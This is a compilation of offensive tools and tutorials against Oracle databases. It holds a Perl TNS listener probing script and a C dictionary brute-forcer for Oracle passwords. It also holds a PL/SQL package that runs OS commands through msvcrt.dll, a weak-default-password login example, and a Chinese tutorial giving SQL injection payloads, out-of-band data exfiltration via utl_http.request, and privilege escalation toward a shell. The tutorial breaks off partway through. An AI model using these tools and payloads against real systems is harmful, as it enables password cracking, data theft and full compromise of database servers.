# Initial cruft: [email]jwa@jammed.com[/email] 5 Oct 2000
#
# $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $
#
# see also:
# [url]http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html[/url]
# [url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818[/url]
# [url]http://otn.oracle.com/deploy/security/alerts.htm[/url]
# [url]http://xforce.iss.net/alerts/advise66.php[/url]
#
# GPL'd, of course. [url]http://www.gnu.org/copyleft/gpl.html[/url]
#
# $Log: tnscmd,v $
# Revision 1.3 2001/04/26 06:45:48 jwa
# typo in url. whoops.
#
# Revision 1.2 2001/04/26 06:42:17 jwa
# complete rewrite
# - use IO::Socket instead of tcp_open
# - got rid of pdump()
# - put packet into @list and build it with pack()
# - added --indent option
#
#
use IO::Socket;
use strict; # a grumpy perl interpreter is your friend
select(STDOUT);$|=1;
#
# process arguments
#
my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);
my ($arg);
while ($arg = shift @ARGV) {
$main::hostname = shift @ARGV if ($arg eq "-h");
$main::port = shift @ARGV if ($arg eq "-p");
$main::logfile = shift @ARGV if ($arg eq "--logfile");
$main::fakepacketsize = shift @ARGV if ($arg eq "--packetsize");
$main::fakecmdsize = shift @ARGV if ($arg eq "--cmdsize");
$main::indent = 1 if ($arg eq "--indent");
$main::rawcmd = shift @ARGV if ($arg eq "--rawcmd");
$main::rawout = shift @ARGV if ($arg eq "--rawout");
}
if ($main::hostname eq "") {
print <<_EOF_;
usage: $0 [command] -h hostname
where 'command' is something like ping, version, status, etc.
(default is ping)
[-p port] - alternate TCP port to use (default is 1521)
[--logfile logfile] - write raw packets to specified logfile
[--indent] - indent & outdent on parens
[--rawcmd command] - build your own CONNECT_DATA string
[--cmdsize bytes] - fake TNS command size (reveals packet leakage)
_EOF_
exit(0);
}
# with no commands, default to pinging port 1521
$cmd = "ping" if ($cmd eq "");
$main::port = 1521 if ($main::port eq ""); # 1541, 1521.. DBAs are so whimsical
#
# main
#
my ($command);
if (defined($main::rawcmd))
{
$command = $main::rawcmd;
}
else
{
$command = "(CONNECT_DATA=(COMMAND=$cmd))";
}
my $response = tnscmd($command);
viewtns($response);
exit(0);
#
# build the packet, open the socket, send the packet, return the response
#
sub tnscmd
{
my ($command) = shift @_;
my ($packetlen, $cmdlen);
my ($clenH, $clenL, $plenH, $plenL);
my ($i);
print "sending $command to $main::hostname:$main::port\n";
if ($main::fakecmdsize ne "")
{
$cmdlen = $main::fakecmdsize;
print "Faking command length to $cmdlen bytes\n";
}
else
{
$cmdlen = length ($command);
}
$clenH = $cmdlen >> 8;
$clenL = $cmdlen & 0xff;
# calculate packet length
if (defined($main::fakepacketsize))
{
print "Faking packet length to $main::fakepacketsize bytes\n";
$packetlen = $main::fakepacketsize;
}
else
{
$packetlen = length($command) + 58; # "preamble" is 58 bytes
}
$plenH = $packetlen >> 8;
$plenL = $packetlen & 0xff;
$packetlen = length($command) + 58 if (defined($main::fakepacketsize));
# decimal offset
# 0: packetlen_high packetlen_low
# 26: cmdlen_high cmdlen_low
# 58: command
# the packet.
my (@packet) = (
$plenH, $plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00,
0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01,
$clenH, $clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
);
for ($i=0;$i<length($command);$i++)
{
push(@packet, ord(substr($command, $i, 1)));
}
my ($sendbuf) = pack("C*", @packet);
print "connect ";
my ($tns_sock) = IO::Socket::INET->new(
PeerAddr => $main::hostname,
PeerPort => $main::port,
Proto => 'tcp',
Type => SOCK_STREAM,
Timeout => 30) || die "connect to $main::hostname failure: $!";
$tns_sock->autoflush(1);
print "\rwriting " . length($sendbuf) . " bytes\n";
if (defined($main::logfile))
{
open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!";
print SEND $sendbuf || die "write to logfile failed: $!";
close(SEND);
}
my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf));
if ($count != length($sendbuf))
{
print "only wrote $count bytes?!";
exit 1;
}
print "reading\n";
# get fun data
# 1st 12 bytes have some meaning which so far eludes me
if (defined($main::logfile))
{
open(REC, ">$main::logfile.rec") || die "can't write $main::logfile.rec: $!";
}
my ($buf, $recvbuf);
# read until socket EOF
while (sysread($tns_sock, $buf, 128))
{
print REC $buf if (defined($main::logfile));
$recvbuf .= $buf;
}
close (REC) if (defined($main::logfile));
close ($tns_sock);
return $recvbuf;
}
sub viewtns
{
my ($response) = shift @_;
# should have a hexdump option . . .
if ($main::raw)
{
print $response;
}
else
{
$response =~ tr/\200-\377/\000-\177/; # strip high bits
$response =~ tr/\000-\027/\./;
$response =~ tr/\177/\./;
if ($main::indent)
{
parenify($response);
}
else
{
print $response;
}
print "\n";
}
}
sub parenify
{
my ($buf) = shift @_;
my ($i, $c);
my ($indent, $o_indent);
for ($i=0;$i<length($buf);$i++)
{
$c = substr($buf, $i, 1);
$indent++ if ($c eq "(");
$indent-- if ($c eq ")");
if ($indent != $o_indent)
{
print "\n" unless(substr($buf, $i+1, 1) eq "(");
print " " x $indent;
$o_indent = $indent;
undef $c;
}
print $c;
}
}
/*用链表实现的oracle密码暴破程序,需要在本地安装oralce*/
#define WIN32_LEAN_AND_MEAN
#if defined(_WIN32) || defined(_WIN64)
#include <windows.h>
#include <Tchar.h>
#endif
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <lmcons.h>
#include <winnetwk.h>
#include <time.h>
#include <stdlib.h>
#include <stdlib.h>
#include <iostream>
#include <occi.h>
#pragma comment(lib, "oraocci9.lib") //链接到oraocci9.lib库
//#pragma comment(lib, "msvcrt.lib")
#pragma comment(lib, "msvcprt.lib")
//链接到WS2_32.LIB库:
#pragma comment(lib, "Ws2_32.lib")
//#pragma comment(lib, "liboracle.lib")
char target[40]= {0};//目标服务器
char port[40]={0};//SQL端口号
char db[40]={0};//数据库名
//定义链表:
typedef struct PassNode{
TCHAR password[100];
struct PassNode * Next;
} PassInfo;
typedef struct NameNode{
TCHAR Name[100];
struct NameNode * Next;
}NameInfo; //定义NameInfo来表示NameNode结构
//
//函数SQLCheck
//功能:尝试用不同密码连接SQL Server,探测出正确的密码
//
DWORD WINAPI SQLCheck(PVOID pPwd,PVOID uUserName)
{
//定义局部变量
char szBuffer[1025]= {0};
char *pwd=NULL,*UserName=NULL;
char DataBase[255]={0};
//char *user=NULL;
//取得传递过来准备探测的密码
pwd=(char *)pPwd;
UserName=(char *)uUserName;
//DataBase=(char *)db;
sprintf(DataBase,"(description=(address_list=(address=(protocol=tcp)(host=%s)(port=%s)))(connect_data=(SERVICE_NAME=%s)))",target,port,db);
//printf("DataBase=%s\n",DataBase);
using namespace std;
using namespace oracle::occi;
Environment * env=Environment::createEnvironment(Environment::DEFAULT);
try{
Connection *conn=env->createConnection(UserName,pwd,(char *)DataBase);
if (conn)
{ printf("\n");
cout << "SUCCESS - createConnection" << endl;
//连接远程oracle Server数据库成功
return 1;
}
else
cout << "FAILURE - createConnection" << endl;
return 0;
/*Statement*stmt=conn->createStatement("select * from emp");
ResultSet * rset=stmt->executeQuery();
while (rset->next()) {
cout<<"the empno is:"<<rset->getInt(1)<<endl;
cout<<"the ename is:"<<rset->getString(2)<<endl;
} */
//stmt->closeResultSet (rset);
// conn->terminateStatement (stmt);
env->terminateConnection (conn);
}catch(SQLException ex)
{
//printf("\n");
cout<<ex.getMessage();
return 0;
}
Environment::terminateEnvironment(env);
return 0;
}
void usage(){
printf("name:oracle password crack v 1.0\n");
printf("author:pt007@vip.sina.com\n\n");
fprintf(stdout,"usage : oracle_pwd_crack [ip] [options]\n");
printf("options:\n"
"\t-x port specify the port of oracle\n"
"\t-u username specify the username of oracle\n"
// "\t-p password specify the password of oracle\n"
"\t-d dict specify the dictionary\n"
"\t-i database specify the database's name\n"
//"\t-a automode automatic crack the oracle password \n"
//"\tNote: when u use the -a option, named the username dict user.dic\n"
// "\t password dict pass.dic\n"
);
printf("\nexample: oracle_pwd_crack 127.0.0.1 -x 1521 -u sql_user.dic -d pass.dic -i PLSExtProc\n");
exit(1);
}
//创建密码链表:
PassInfo * Create_Pass_link(int NodeNum, FILE * DictFile){
/* read data from password dictionary, init the link */
TCHAR * szTempPass = NULL;
PassInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
*s point to the current node*/
int i; /* counter*/
//分配内存空间在内存的动态存储区中分配一块长度为"sizeof(PassInfo)"字节的连续区域,函数的返回值为该区域的首地址:
if ( (h = (PassInfo *) malloc(sizeof(PassInfo))) == NULL )
{
fprintf(stderr, "malloc failed %d", GetLastError());
exit(0);
} /* create the head node */
/* init the head node*/
h->Next = NULL;
p = h;
for ( i=0; i < NodeNum; i ++) //下面是建立链表,每个密码对应一个结点:
{ //按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass
szTempPass = (TCHAR *)calloc(100, sizeof(TCHAR));
ZeroMemory(szTempPass, 100);
if ( (s = (PassInfo *)malloc(sizeof(PassInfo))) == NULL)
{
fprintf(stderr, "malloc failed %d", GetLastError());
exit(0);
}
memset(s->password, '\0', 100);
fgets(szTempPass, 100, DictFile);
strncpy(s->password, szTempPass, strlen(szTempPass)-1);
s->Next =NULL; //删除一个结点
p->Next = s;//链表指针指向下一个结构地址
p = s;//下一个结构的数据域赋值
free(szTempPass);//释放内存空间
}
return h;//返回链表的头结点,它存放有第一个结点的首地址,没有数据
}
//创建用户名链表:
NameInfo * Create_Name_link(int NodeNum, FILE * DictFile){
/* read data from password dictionary, init the link */
TCHAR * szTempName = NULL;
NameInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
*s point to the current node*/
int i; /* counter*/
//分配内存空间在内存的动态存储区中分配一块长度为"sizeof(NameInfo)"字节的连续区域,函数的返回值为该区域(此处为NameInfo结构的首地址)的首地址: :
if ( (h = (NameInfo *) malloc(sizeof(NameInfo))) == NULL )
{
fprintf(stdout, "malloc failed %d", GetLastError());
exit(0);
} /* create the head node */
/* init the head node*/
h->Next = NULL; //删除下一个结点
p = h; //p里面目前指向头结点
for ( i=0; i < NodeNum; i ++)
{//按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass:
szTempName = (TCHAR *)calloc(100, sizeof(TCHAR));
ZeroMemory(szTempName, 100);//字符串类型变量清0
if ( (s = (NameInfo *)malloc(sizeof(NameInfo))) == NULL)
{
fprintf(stdout, "malloc failed %d", GetLastError());
exit(0);
}
memset(s->Name, '\0', 100);
fgets(szTempName, 100, DictFile);
strncpy(s->Name, szTempName, strlen(szTempName)-1);
s->Next =NULL;
p->Next = s;//p指向下一个结点的地址
p = s;//下一个结构的数据域赋值
free(szTempName);
}
return h;
}
int LineCount(FILE * fd) //返回字典中的密码数量
{
int countline = 0;
char data[100] = {0};//字符数组清0
while (fgets(data, 100, fd))//从指定的文件中读一个字符串到字符数组中
countline++;
rewind(fd);//指针返回到文件起始处
return countline;
}
BOOL IsPortOpen(char * address, int port)
{
int recv = 1;
WSADATA wsadata;
int fd;
struct sockaddr_in clientaddress;
struct hostent * host1;
BOOL Result = FALSE;
struct timeval timer4;
fd_set writefd; //检查数据是否可写
ULONG value = 1;
//初使化winsock版本1.1:
recv = WSAStartup(MAKEWORD(1,1), &wsadata);
if(recv != 0)
{
printf("init failed %d.\n",WSAGetLastError());
return(0);
}
if ( LOBYTE( wsadata.wVersion ) != 1 ||
HIBYTE( wsadata.wVersion ) != 1 ) {
/* Tell the user that we couldn't find a useable */
/* winsock.dll. */
WSACleanup();
return(0);
}
//创建socket套接字连接:
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(fd < 0)
{
printf("[-] Create socket error %d. \n",WSAGetLastError());
return(0);
}
//将套接字fd设为非阻塞模式的方法:
ioctlsocket(fd,FIONBIO,&value);
if (!(host1 = gethostbyname(address))){
printf("[-] Gethostbyname(%s) error %d.\n",address,WSAGetLastError());
return(0);
}
memset(&clientaddress, 0, sizeof(struct sockaddr));
clientaddress.sin_family =AF_INET;//Ipv4地址族
clientaddress.sin_port = htons((unsigned short)port);
clientaddress.sin_addr = *((struct in_addr *)host1->h_addr);
timer4.tv_sec = 5;//以秒为单位指定等待时间
timer4.tv_usec = 0;
FD_ZERO(&writefd);
FD_SET(fd,&writefd); //将套接字fd增添到writefd写集合中进行测试
recv = connect(fd, (struct sockaddr *)&clientaddress, sizeof(struct sockaddr));
if( FD_ISSET(fd, &writefd))
{
recv = select(fd+1, NULL, &writefd, NULL, &timer4);//测试5秒钟内是否有数据写入
if( recv > 0 )
Result = TRUE;
}
closesocket(fd);
WSACleanup();
return Result;
}
int main(int argc, char **argv)
{
PassInfo * head, * curr = NULL;
NameInfo * headnode, * currnode = NULL;
int namecount = 0, passcount = 0;
/////////////////////////////////////////////////////////////////////////////////////////////
// deal with the command line
//
/////////////////////////////////////////////////////////////////////////////////////////////
//参数不为8个的时候打印帮助
if(argc != 10)
usage();
if (argc == 10)
{
if ( strcmpi(argv[2], "-x") )
usage();
if ( strcmpi(argv[4], "-u") )
usage();
if ( strcmpi(argv[6], "-d") )
usage();
if ( strcmpi(argv[8], "-i") )
usage();
}
/* determinate whether the oracle port is open */
if( !IsPortOpen(argv[1], atoi(argv[3]) ) )
{
printf("error:Can't connect to %s:%d\n", argv[1], atoi(argv[3]));
exit(0);
}
////////////////////////////////////////////////////////////////////////////////////////////
// specifiy the username
//////////////////////////////////////////////////////////////////////////////////////////////
//取得目标地址和端口号:
strcpy(target,argv[1]);
strcpy(port,argv[3]);
strcpy(db,argv[9]);
if ( !strcmpi(argv[4], "-u"))
{
/* open the password dictionary */
FILE * passdic = NULL;
if ( (passdic = fopen(argv[7], "r")) ==NULL){
fprintf(stdout, "Can't open the password dictionary\n");
exit(0);
}
/* count line of name dictionary */
passcount = LineCount(passdic); //计算密码的数量
head = Create_Pass_link(passcount, passdic); /* create the password link */
curr = head ->Next; //指向第一个结点
/* open the password dictionary */
FILE * Namedict = NULL;
if ( (Namedict = fopen(argv[5], "r")) ==NULL){
fprintf(stderr, "Can't open the name dictionary\n");
exit(0);
}
/*密码最终保存文件*/
FILE *passtxt=NULL;
if ( (passtxt = fopen("pass.txt", "at+")) ==NULL){
fprintf(stdout, "Can't write pass.txt file!\n");
exit(0);
}
/* count line of name dictionary */
namecount = LineCount(Namedict);//计算用户名数量
headnode = Create_Name_link(namecount, Namedict); /* create user link */
currnode = headnode->Next;
int j=0,i=1;
while(currnode!=NULL) //为NULL表示姓名链表结束
{
printf("\n开始第%d位用户%s测试:\n",++j,currnode->Name);
while(curr != NULL) //为NULL表示密码链表结束
{
printf("Now cracking %s->%s \n", currnode->Name, curr->password);
fflush(NULL);
int Cracked=0;
Cracked=SQLCheck(curr->password,currnode->Name);
if ( Cracked==1 )
{
printf("%d.Successfully:oracle server %s's username [%s] password [%s]\n",j,target,currnode->Name, curr->password);
fseek(passtxt, 0L, SEEK_END);//移动到文件尾部
fprintf(passtxt,"%d.Successfully:oracle server %s's username [%s] password [%s]\r\n",i++,target,currnode->Name, curr->password);
//exit(0);发现一个密码就退出
break;
}
curr = curr->Next;//移动到下一个结点
Sleep(100);//暂停100ms,即0.1s
} /* starting crack the oracle password*/
currnode = currnode->Next;
curr = head ->Next; //移到密码链表的第一个结点
}
printf("\n\n密码猜解结束:\n本次共猜解了%d位用户,%d个密码!\n",namecount,passcount);
printf("请使用\"type pass.txt\"来查看当前目录下的pass.txt文件!\n");
fprintf(passtxt,"\r\n\r\n");
fclose(passdic);
fclose(Namedict);
fclose(passtxt);
free(head);
}
return 0;二、利用弱口令进行入侵:
C:\>sqlplus /nolog
SQL> connect system/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i)));
然后利用Oracle Execute Command Sql Script来执行系统命令三、程序代码
-- ----------------------------------------------------------------------------
-- SQL server下可以通过cmd_shell调用系统命令,其实Oracle下也可以。
--这个SQL就是建立一个类似于sql Server下cmd_shell的过程。
-- ----------------------------------------------------------------------------
-- windows下的cmd_shell
-- 在win2k下的oracle817测试成功
-- benjurry at xfocus dot org
-- 使用方法:
--1、以dba 权限用sqlplus登陆oracle,
--2、假设这个文件放在d:\win_oracmd.sql,则在SQLplus中输入: at d:\win_oracmd dot sql
--3、在sqlplus下输入 exec oracmd.exec ('dir > c:\dir.txt');
-- ----------------------------------------------------------------------------
CREATE OR REPLACE LIBRARY exec_shell AS 'C:\winnt\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
Oracle web环境注射技术
作者: 剑心
前言
本人不是一个专业的数据库管理员,也不是一个专门研究oracle安全的研究员,文中的语句很多都写得非常不专业,对数据库理解也不够,甚至很多语句可能在不同版本上并不适合,一些技术也是牛人们很早提到过的,本文只是从一个web安全的角度来看如何入侵一台被防火墙防护的Oracle数据库,对一些入侵技术做了web入侵上的总结和延伸,尽量将原理讲得明白。本文也并没有对sql注射中存在的一些共性进行讨论 ,如利用substr函数和经典注射这些,而是站在oracle数据库的角度,尽量展现一些Sql注射入侵的思路以及如何利用数据库的一些特性,在web上做最大的入侵。一些牛人的工具也即将发布出来,希望还有人喜欢手工优美的注射。
一 Oracle 简单介绍
Oracle作为一款比较早期出现的RDBMS数据库,市场占有率比较大,经常用在一些大型数据库上。它本身除了很好地支持各种SQL语句外,还提供了各种丰富的包,存储过程,甚至支持java和创建library等特性,如此强大的功能为Hacking提供了很好的便利。
Oracle自身有很多默认的帐户,并且有很多的存储过程,这些存储过程是由系统建立的,很多默认都是对public开放的,在过去的几年里公布了很多oracle的漏洞,包括溢出和SQL注射在内的许多漏洞。在这里面,SQL注射漏洞显得格外严重,因为在Oracle里,在不加其他关键字AUTHID CURRENT_USER的情况下,创建的存储过程在运行时是以创建者身份运行的,而public对这些存储过程都有权限调用,所以一旦自带存储过程存在注射的话,很容易让普通用户提升到Oracle系统权限。Oracle本身内置了很多的帐户,其中一些帐户都有默认的密码并且具有CONNECT的权限,这样如果oralce的端口没有受到防火墙的保护又可以被人远程连接的话,就可以被人利用默认帐户远程登陆进系统然后利用系统里的存储过程的SQL注射漏洞,系统就会沦陷,当然,登陆进oracle还需要sid,不过这也并不困难,oracle的tnslintener默认没有设置密码,完全可以用tnscmd.pl用services命令查出系统的sid(到比较新的版本,这个漏洞已经被修复了),这也是非常经典的入侵oracle的方式。
二 Oracle Web Hacking 技术背景
oracle丰富的系统表。oracle几乎所有的信息都存储系统表里,当前数据库运行的状态,当前用户的信息,当前数据库的信息,用户所能访问的数据库和表的信息......系统表就是整个数据库的核心部分,通过恰当地查询需要的系统表,几乎可以获得所有的信息。如sys.v_$option就包含了当前数据库的一些信息,如是否支持java等,all_tables里就包含了所有的表信息,all_tab_colmuns包含所有的列信息等等,为我们获得信息提供了非常大的便利,后面将有关于如何利用系统表获取敏感信息的描述。
在oracle的各种漏洞里,需要特别说下存储过程的注射,其实也并没有什么神秘,存储过程和函数一样是接受用户的输入然后送到数据库服务器解析执行,如果是采取的组装成SQL字符串的形式执行的话,就很容易将数据和命令混淆,导致SQL注射。但是根据注射发生的点不同,一样地注射漏洞的性质也不同。Oracle使用的是PL/SQL,漏洞发生在select等DML语句的,因为不支持多语句的执行,所以如果想运行自己的语句如GRANT DBA TO LOVEHSELL这些DDL语句的话,就必须创建自己的函数或存储过程,如果没有这相关的权限还可以利用cursor注射,用dbms_sql包来饶过限制。大多数的注射正是上面这些有限制的注射,必须依靠自己创建的一些其他包或者cursor来实现提升权限的目的,但是还是有些非常少见但是注射环境非常宽松的漏洞,就是用户的输入被放在begin和end之间的匿名pl/sql块的注射,这种环境下的注射可以直接注射进多语句,几乎没有任何限制,而可以看到,正是这种闪光的漏洞为我们的web注射技术带来了怎样的辉煌。
好了,上面谈到的都是Oracle的一些攻击技术,但是现在很多的环境是,对外开放web服务,后台数据库被防火墙保护着,无法得到数据库的太多详细信息,已经不能直接登陆进数据库进行操作,这个时候就要考虑利用web下的漏洞来攻击后台的数据库了。现在来看下如何进行Oracle web环境下注射吧!oracle可以在各种web环境下良好地工作,各种web环境对我们注射的影响也并不是很大,在asp,.net,jsp中对进入的参数基本没做任何过滤,但是由于.net,jsp语言是强类型语言,在数字类型的注射上即使sql语句没有做过滤但是可能在接受参数的时候就出错了,所以注射出现在字符串类型的参数上比较多一些。在php环境下,所有的'会被转义为\',在oracle环境里\'并不会成为转义(在oracle环境里的正确转义应该为''),但是在我们自己的注射语句里使用'会因为被转成\'而遭到破坏,所以在注射时不能使用'。除此之外,web环境下就没什么限制了。在数据库方面,如果语句采取的是参数的方式执行,也不能够被注射,除非使用的是字符串连接的方式(由于字符串连接的方式比较简单,也因为一些历史上的原因,很多程序员往往会偏向于这种方式,),字符串连接方式的话也会分为两种,参数在select,update,insert这些DML语句之间,与参数在pl/sql匿名块之间,如果web程序没有捕获错误,那么我们很容易根据错误判断出当前语句的类型,后面会提到。在pl/sql匿名块之间的比较少见,但也不排除,这样的注射基本也是没有什么限制的,可以执行多语句,做任何事,跟本地登陆没有任何区别。
三 Oracle Web Hacking 基本思路
下面说说如何确定目标,注射参数的确定就由大家自己来了,主要是如何判断数据库属于oracle,根据数据库的特性很容易判断出来,oracle支持--类型注释,但是不支持;分隔执行多语句,oracle有很多系统表,譬如all_tables,通过对这些表的访问也可以判断出是否属于oracle,另外在oracle里的一些函数也可以用来判断,譬如utl_http.request这些,语言上的小细节也可以用来区分系统,譬如在oracle里||是连接符号,但是在其他数据库里就不是了,所以 and chr(123)||chr(123)=chr(123)||chr(123)这样的,如果可以顺利执行,那么就基本应该是oracle了,另外,一些脚本在出现数据库查询错误时,对错误信息没有处理,也会泄露真实的后台数据库,这个可以很明显地看出来。
然后需要确定的是注射点的类型,一般的情况下,我们进入的参数不是数字类型就基本是字符类型(其他很多人所说的搜索型注射其实还是应该归结于字符类型的),对于数字类型的基本不用考虑什么,很容易添加--注释字符就可以让语句正确闭合了,如果是字符类型的就要考虑如何让整个语句正确,通常是添加'以及--这些注射字符来构造自己的注射环境。在一些复杂的情况下,如同一个参数在多个sql语句和逻辑里出现,就要自己小心构造出符合环境的注射语句了,记住,我们只需要一个能便利插入自己sql命令的完好环境:)
在确定目标数据库为Oracle并且可以注射的时候,就可以开始尝试构造语句了。一般首先要进行的是判断当前的权限,在Oracle数据库里权限比较高的是DBA权限,拥有Oracle数据库的所有权限,另外如果当前用户的权限授予不对的话,也可以实现跨库查询的效果,可以通过对dba_tables这样的dba的表进行尝试访问来测试是否是dba。在一般的注射中,分为select类型注射,insert类型注射以及update类型等。update和insert类型的注射可以根据上下文来更改数据库中的数据,如利用update注射将表中某个重要字段更改成我们想要的值,即使这些数据库无关紧要也没关系,我们可以利用select子语句来将我们需要的数据查询出来然后在另外某个地方将这个数据读出来,只要遵循数据库的语法,实现自己的目的就可以了。在这里主要说下select类型的注射,如果我们能控制select语句的一部分的话,就可能实现这种类型注射,如果查询的结果可以返回到页面中的时候,还可以尝试使用union查询出结果,直接将内容显示在页面当中,这是最方便的一种。事实上后面可以看到,无论是什么注射,在oracle的web环境下,都可以直接执行系统命令返回shell。
Oracle中获得敏感数据,首先就是oracle有系统表,任何有权限获得数据都可以从这里获得,关键的系统表有all_tables,all_objects等,都是有权限能访问的,包括别人赋予你权限的,所以如果你的权限是dba的话,这能看到系统中所有的表,注射中一个技巧就是如果你需要从后台登陆但是不知道密码就可以在这里使用了,譬如猜测列名含不含有password等方法,后面的例子中也有讲述。
另外比较需要了解的就是union查询,在oracle union查询中和其他数据库类似,要求列数一样,还要求类型完全一致,oracle类型有很多,常见的有字符类型,数字类型以及日期类型等等,一般我们能用来做union查询并且显示的是字符类型,所以需要精确定位哪个字段符合我们的要求(1 会在页面显示,数据从进入到出来会有很多的流程,很多数据会在中间经过多次的处理,所以要想找到能显示出来的数据,很多时候并不是那么顺利,这种显示包括很多地方,包括返回的http头,页面正文甚至是cookie等。 2 字符类型 因为我们出来的数据大部分都是字符类型,所以需要这个类型用来正确地匹配 3长度需要足够 尽管我们可以用一些字符函数来解决这个问题,但是够长的字段总是非常简便 ),oracle并不会自己做数据类型转换,但是oracle中提供了一个NULL类型,可以匹配所有的数据类型,所以我们在定位完字段数之后就可以在union的各个字段填写null来匹配,另外oracle不支持select 1这样的查询,语法要求select必须有关键字,如果我们没有表可以用,可以用系统中默认谁都有权限的表dual。关于定位字段数其实也比较简单,和其他数据库一样可以利用order by 1-- 这样操作,如果字段个数存在就会正常,通常页面的逻辑会让这个参数 不只在一个地方出现,所以order by地方不一致,所以不能进行union查询。在这里可能会遇到目标语言不支持''的情况,所以可以使用chr这些函数来处理这些问题。
即使不支持union,oracle的一些特性还是让我们轻易拿到想要的信息,就是用系统的utl_http.request包,这个包你可以看做是一个普通的函数,用来取得远方web服务器的请求信息,所以我们完全可以自己监听端口,然后通过这个函数用请求将需要的数据发送过来,这个时候我们还可以用来查看数据库可不可以上网以及出口IP,是个非常重要的一点。正是有了这些系统里丰富的包和函数以及存储过程,使得只要有一个注射点,就可以在oracle里做任何事情,包括权限允许的和权限不允许的,记住,是任何事。
敏感数据只是我们想要的一部分,通常直接杀入oracle可能更有吸引力,这个时候查看系统的信息就非常地有价值了,对注射的灵活运用也非常重要。oracle在启动之后,把系统要用的一些变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有
1 当前用户权限 (select * from session_roles)
2 当前数据库版本 (select banner from sys.v_$version where rownum=1)
3 服务器出口IP (用utl_http.request可以实现)
4 服务器监听IP (select utl_inaddr.get_host_address from dual)
5 服务器操作系统 (select member from v$logfile where rownum=1)
6 服务器sid (远程连接的话需要,select instance_name from v$instance;)
7 当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)
......
知道上面这些之后就可以大致清楚服务器是在外网还是内网,支不支持远程连接,如果支持远程连接就可以尝试用默认的密码和刚得到的sid登陆了,在获得本地的权限之后,就可以尝试利用众多的包里面存在的注射提升权限了,在http://www.milw0rm.com/搜索oracle关键字可以找到很多这样的漏洞。
如果是远程并且不允许连接的的话,我们还是可以利用包的sql注射的,我上面说可以做任何事的,可以利用一个注射点轻易获得shell。上面说到在oracle里的包注射分好几种,这里需要的就是pl/sql块的注射,这个注射允许直接执行多语句,所以我们可以在web注射里利用这个直接以sys的身份执行多条语句,如添加用户,创建自己的存储过程等等,几乎没有限制。但是系统的这种注射也是非常地少见,在06年被人公布过一个,也就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES,具体的漏洞可以不了解,我也没有找到细节,后面有我做的一些简单黑盒分析,对于我们也只需要知道这是系统里存在的一个存储过程的pl/sql注射,可以导致执行多语句就可以了,而且oracle的补丁机制还不是很完善,基本上不会有管理员去patching这些,所以在我们看来就把这当作是系统提供的执行多语句的一个Hacking接口好了。如果你遇到一个sql注射本身就是在pl/sql里的话没,那么更要恭喜你了 :)
通过上面的几步基本让你可以获得你想要的东西,并且可以得到一个可以执行多语句的环境。在多语句执行的环境里,就可以利用oracle本身强大的功能,如支持java创建外部存储过程,支持utl_file包写文件等等,很方便地利用java写一个shell或者直接利用java包返回一个系统的shell。
四 真实世界里的注射
那么一个真实世界的注射应该是个什么样子呢?让我们试试如何从注射点来获得一个shell:)
首先,我们找到一个可能存在注射的页面,list.jsp?username=loveshell,我们添加一个'结果出错了,通过爆出的错误知道这是一个oracle的后台数据库,如含有ORA-xxxx这样的都是oracle,然后用语句:
list.jsp?username=loveshell' and ''||'1'='1 正常
list.jsp?username=loveshell' and ''||'2'='1 返回空
list.jsp?username=loveshell'--
这样可以知道是一个oracle的字符类型的注射点,那么我们就可以用这种方式插入自己的SQL语句了
list.jsp?username=loveshell' and [我们的sql语句] --
这个时候我们就可以根据自己的目标考虑后续的入侵思路了,一种是向web方向发展,通过查询数据库的信息来渗透web,一种就是直接入侵数据库,当然,最完美的情况下是oracle和web是一台机器。先说说如何查询数据库里存储的信息吧!要想取得信息就要将信息反馈回来,一种是利用union查询,譬如这里我们的入侵手法类似于下面:
list.jsp?username=loveshell' order by 10 -- 错误,如果错误信息被反馈的话应该会出现xx coloum不存在之类的,字段数小于10
list.jsp?username=loveshell' order by 5 -- 正常显示,字段数大于5
......
最后发现到order by 8的时候错误,order by 7 就正常,说明是7个字段。注意这里,一般的时候,页面的逻辑很简单,所以可以这样order by猜测,但是如果这个参数进入了2个以上sql语句,里面结果的字段数不一,就难用这种方法了,当然,如果进入2个以上Sql语句的话,估计union查询也无法使用了,因为sql语句的前后字段数会不一,无法满足条件,后面我们将说到一种万能的获取数据的方法,这里先说比较直观的union查询。
list.jsp?username=loveshell' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual-- 用7个NULL来匹配对应的字段不会出现字段类型不一的情况,与mysql不同,后面的select语句必须加一个存在的表,这里是dual。
这里正常返回,然后我们就可以继续了,寻找的用做信息反馈的字段需要满足我上面在基本思路里的几个条件。
